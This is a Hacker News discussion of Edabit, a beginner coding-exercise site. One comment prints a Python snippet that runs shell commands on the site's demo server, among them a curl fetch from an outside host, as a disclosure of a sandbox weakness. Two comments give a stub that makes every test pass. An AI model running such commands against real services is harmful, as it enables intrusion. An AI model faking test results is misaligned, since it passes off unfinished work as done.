25 ms·
Show HN: Edabit – Like Duolingo for Learning to Code
- spearthrowerowl 8y agoso people will pick it up for a couple of days, and then forget about it for weeks on end?
- rjplatte 8y agoWhy don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?
- uberswe 8y agoMy first thought too, I was trying to type in the "tip" box before I found the code tab
- rjplatte 8y agoExactly. It's just bad UI.
- expathacker 8y agoThis is also one of my complaints about Duolingo to be honest, in that they only give you information about the lessons you're doing if you navigate to a specific page before starting an exercise (on the web interface, I haven't used the mobile interface). Ui-bug for Ui-bug compatibility?
- analogmemory 8y agoIt could be on purpose? I've found that I learn better when I am forced to read ALL the instructions and then try to solve the problem without having quick access to the instructions.
- mavsman 8y agoThe instructions don't load for me in Firefox so I had to open up in Chromium. I disabled my adblocker in FF but didn't do any in-depth troubleshooting.
- quadrature 8y agoI really like this, great work. I might try introducing a few people to this. specifically for python. I went through the first python challenge and i think it might be at a slightly higher level than a true beginner would need.
- rjplatte 8y agoThe Ruby exercises are good, if very basic. Solid introduction.
- hnov 8y agoThe way I learned Ruby 5 years ago was by doing Koans[0] which is basically a test suite where the individual cases describe some behavior of ruby or its stdlib and have a small expression missing to be filled in by you. array = [1, 2] array.reverse! assert array == __ [0] http://rubykoans.com/ http://rubykoans.com/
- mxschumacher 8y agosubmitting / result checking takes a long time
- Method-X 8y agoLots of people using the site right now. Usually it's very fast.
- allenu 8y agoIt sounds like the validation should be running on the client side and not in the cloud.
- Method-X 8y agoAll code is executed in a docker container and destroyed after runtime completes (or times out). It's also being run on a remote server completely unrelated to the functioning of the web app itself. The "security issues" pointed out in this thread are non-issues.
- mxschumacher 8y agoI think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site
- reificator 8y agoWhile I tend to avoid w3schools in general, according to https://www.w3fools.com/ https://www.w3fools.com/ it's gotten better over time.
- richjdsmith 8y agoBoy do I ever have a treat for you then: https://addons.mozilla.org/en-US/firefox/addon/personal-blocklist/?src=search https://addons.mozilla.org/en-US/firefox/addon/personal-bloc... My search results for CSS problems are so much better now that MDN is the first result.
- hathawsh 8y agoAnother way to accomplish this is to add "MDN" to all CSS and JS searches. For example, "mdn array slice" lands right on the best documentation on array slicing (tested on Google and DuckDuckGo).
- fao_ 8y agoIf you use duckduckgo you can search: !mdn array slice which will take you straight to MDN
- yorwba 8y agoIf you use Firefox, you can add a search keyword for MDN search, so that you can type "mdn array slice" in the address bar and go straight to MDN without needing DuckDuckGo to redirect you.
- Method-X 8y agoThe community submits links to external resources. I don't want to be left moderating what I personally believe is a good or bad resource. I'd rather users downvote unhelpful resources.
- gammateam 8y agoso you'll get a bunch of random things to memorize with no explanation of the concepts supporting them?
- crispyambulance 8y agoI think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that. Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway. After taking a cursory look around, Edabit seems to be filling a very specific need. I like it.
- gammateam 8y agoI was just trying to understand the Duolingo analogy
- folkrav 8y agoDuolingo by itself isn't really enough to really learn a language either. Thanks to Duolingo, I can definitely say "the woman eats the apple" in Italian, but I don't understand the language's grammar and its verb conjugation rules enough to build complete sentences.
- yorwba 8y ago"The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.
- gammateam 8y agoThats exactly what he was saying. But yes, Duolingo and Memrise take similar approaches at not teaching you anything.
- xtrapolate 8y agoGood job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") http://whatismyip.akamai.com/")) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.238 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms 162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.
- procinct 8y agoI can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.
- dna_polymerase 8y agoWhoever runs a service that allows running untrusted code in 2018 deserves no responsible disclosure but a punch in the face. It doesn't help if we allow those entities to exist.
- procinct 8y agoChances are, they are a beginner. This is someone’s side project not a site backed by a huge corporation. They deserve responsible disclosure so they can learn from it.
- moftz 8y agoIts just a fork of codewars Try typing this before every function (python): class Test: def assert_equals(*args): return True
- anonytrary 8y agoI don't understand how this is different from Hackerrank/Leetcode or how it's similar to Duolingo. Can someone explain what the innovation is here over HackerRank or LeetCode?
- olooney 8y agoThe claim of similarity to Duolingo seems to be based on the "Practice" tab, which let's you re-solve problems you've already solved once. Duolingo and similar apps use spaced repetition[1] to reinforce lessons which is proven to help retain them permanently in long term memory. However Edabit doesn't seem to implement a very complete system so it probably won't be particularly effective. I also doubt space repetition is helpful for learning to program outside of memorizing APIs and standard libraries, which is 10% of programming at most. [1]: https://en.wikipedia.org/wiki/Spaced_repetition https://en.wikipedia.org/wiki/Spaced_repetition As for sites like Leetcode, those are far more mature (wide selection of languages, custom test cases, etc.) with much more interesting challenges. I appears Edabit is targeting beginners and therefore has much shorter, easier challenges which mainly test memory, not knowledge of algorithms or problem solving. Again, not necessarily the aspect of programming that I would encourage beginners to spend their time on compared to understanding basic concepts.
- anonytrary 8y agoThis is exactly what I was looking for, thanks!
- lkhatter 8y agoThis is a great idea, would love to use this in the future!
- Memosyne 8y agoHas anyone tried exercism.io for learning languages? I found it pretty efficient as it helped me learn syntax very quickly.
- css 8y agoI just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.
- shortcord 8y agoI’m confused as to how anyone would think this is alright to do.
- xtrapolate 8y ago> "I’m confused as to how anyone would think this is alright to do." Could be placeholders from development that ended up going live. I wouldn't jump to conclusion.
- RickS 8y agoSome people willingly submit photos to be used in this manner[0], which will lead to them being used all over the place. Once you've seen this picture of Brad Frost[1] (a web tech personality), it's hilarious how many startup landing page mockups he appears in. I've personally seen dozens. [0] https://uifaces.co/ https://uifaces.co/ [1] https://avatars3.githubusercontent.com/u/383701?s=460&v=4 https://avatars3.githubusercontent.com/u/383701?s=460&v=4
- wingerlang 8y agoWhat if a proper testimonial user didn't have a profile picture? Also searching I found this, https://ctooltrk.com/ https://ctooltrk.com/ kinda interesting I guess.
- Method-X 8y agoJust because a testimonial image can be found elsewhere on the web doesn't mean it's fake. The images are of the actual person who gave the testimonial but I changed their names. I see absolutely nothing wrong with doing that.
- jamamp 8y agoThe Swift version seems to be outdated. To get the length of a String, you need to do string.characters.count, instead of Swift 4's string.count. I think it's on Swift 2.
- saagarjha 8y agoIt's Swift 3.1.
- z3t4 8y agoThe hardest challenges are always about Math. People good at Math also seem to have a tendency to be good at programming though. There is however very little Math in my daily job as a programmer.
- moftz 8y agojust insert this before every function: class Test: def assert_equals(*args): return True
- always_good 8y agoWhy not go a step further and pat yourself on the back for completing all the challenges without even navigating to the website?
- zwaps 8y agoWebsite doesn't load anything with JavaScript off. Just fyi.
- djaychela 8y agoI like this for what it is - so far, fairly simple things to do in Python. I'm a beginning programmer (been studying about a year), so I'm happy to spend a bit of time going through these and feel OK about passing the tests - certainly the other 'code golf' sites that have been mentioned elsewhere in this site have been a love/hate thing for me, with some really out-of-character difficult exercises leading to frustration and a complete stop. One constructive suggestion - is it possible to add auto-indenting to the editor for Python? I hadn't realised how used to it I have become until it is missing here...
- raywu 8y agoThis has evolved! Great work. I remember seeing this a year or so ago on HN and contributed some solutions. Back then there were only less than 20 quizzes?
- blondie9x 8y agocodewars.com already does this I believe.
- moftz 8y agoThe README.md inside of the directory where your code runs says it is running codewars
- derReineke 8y agoSo far what I gathered from the comments: * Not the most secure * A fork of code wars. * Has random photos for testimonials. * W3schools links. *How is it like Duolingo at all?
- MetalGuru 8y agoSeriously. Yet it's at the top of HN with 150 upvotes. OP posted this twice already and it got 5 and 6 upvotes. Either HN readers are becoming less discerning or this guy gamed upvotes. Judging by the fact that the testimonials feels dishonest, I wouldn't discount the latter.
- yjhoney 8y agoHaving taught people coding for awhile, I don't think the step-by-step teaching models work with coding. It creates an environment where students just think about the next step without internalizing what they learned. I've met students who have gone through freecodecamp's exercises and really struggle with using what they learned. Edabit seems too heavily on algorithms. I've seen many beginner students get quickly burned out from doing algorithms when starting out. I've found the most effective way to teach coding is to make their learning project based (very much like how professors taught concepts back in college). Build X, Y, Z, each project building up in complexity so students can think about different combinations of everything they learned to complete the project.
- plumdot 8y agoHow do you teach? As an instructor at a school or tutoring on the side?
- yjhoney 8y agoI work with my local library to hold coding office hours (Should be very easy to set up, they really want to become more technically savvy but the only volunteers they could find is instructors trying to teach microsoft word) I have my own curriculum that I've built over the years and the students ultimately end up building a product that they launch (hopefully). This year I got to teach 20 students and so far 14 have gotten full time jobs as software engineers. Fortunately, students who got jobs are all doing well at their jobs so its pretty easy to refer people in. After the remaining 6 students get a full time job, I plan to open source my curriculum that students have helped polish over the years. You can find the gist of it at c0d3.com
- burtonator 8y agoIf you guys like this you might love my project Polar: https://getpolarized.io/ https://getpolarized.io/ it was also on Show HN about a month ago. https://news.ycombinator.com/item?id=18219960 https://news.ycombinator.com/item?id=18219960 The idea is basically to allow you to create your OWN flashcards and sync them with Anki with the books you're reading. Basically you can create flashcards in the app directly and sync them to mobile so you never forget the key points of the documentation you're reading. Right now I'm working on the cloud version so that people can discover each other and collaborate on building their own cards, share highlights, etc.
- MetalGuru 8y agoNothing special here. Programming problems to teach beginners how to code. Same approach practically every other site takes. Surprised by the amount of upvotes.
- jordigh 8y agoI love that it says "ProTip". How is that different than a "tip" by now?
- jackiejoe88 8y agoCatch that "Silence Donald Trump!" exercise in their demo?
- ai_ia 8y agoHey man. Nice App. How did you created the Mascots ? Or Outsourced it? Any leads and cost related?
- Method-X 8y agoI hired a guy on UpWork: https://www.upwork.com/ab/profiles/search/saved/~014198aac9a56ced15/profile?sqp=true https://www.upwork.com/ab/profiles/search/saved/~014198aac9a...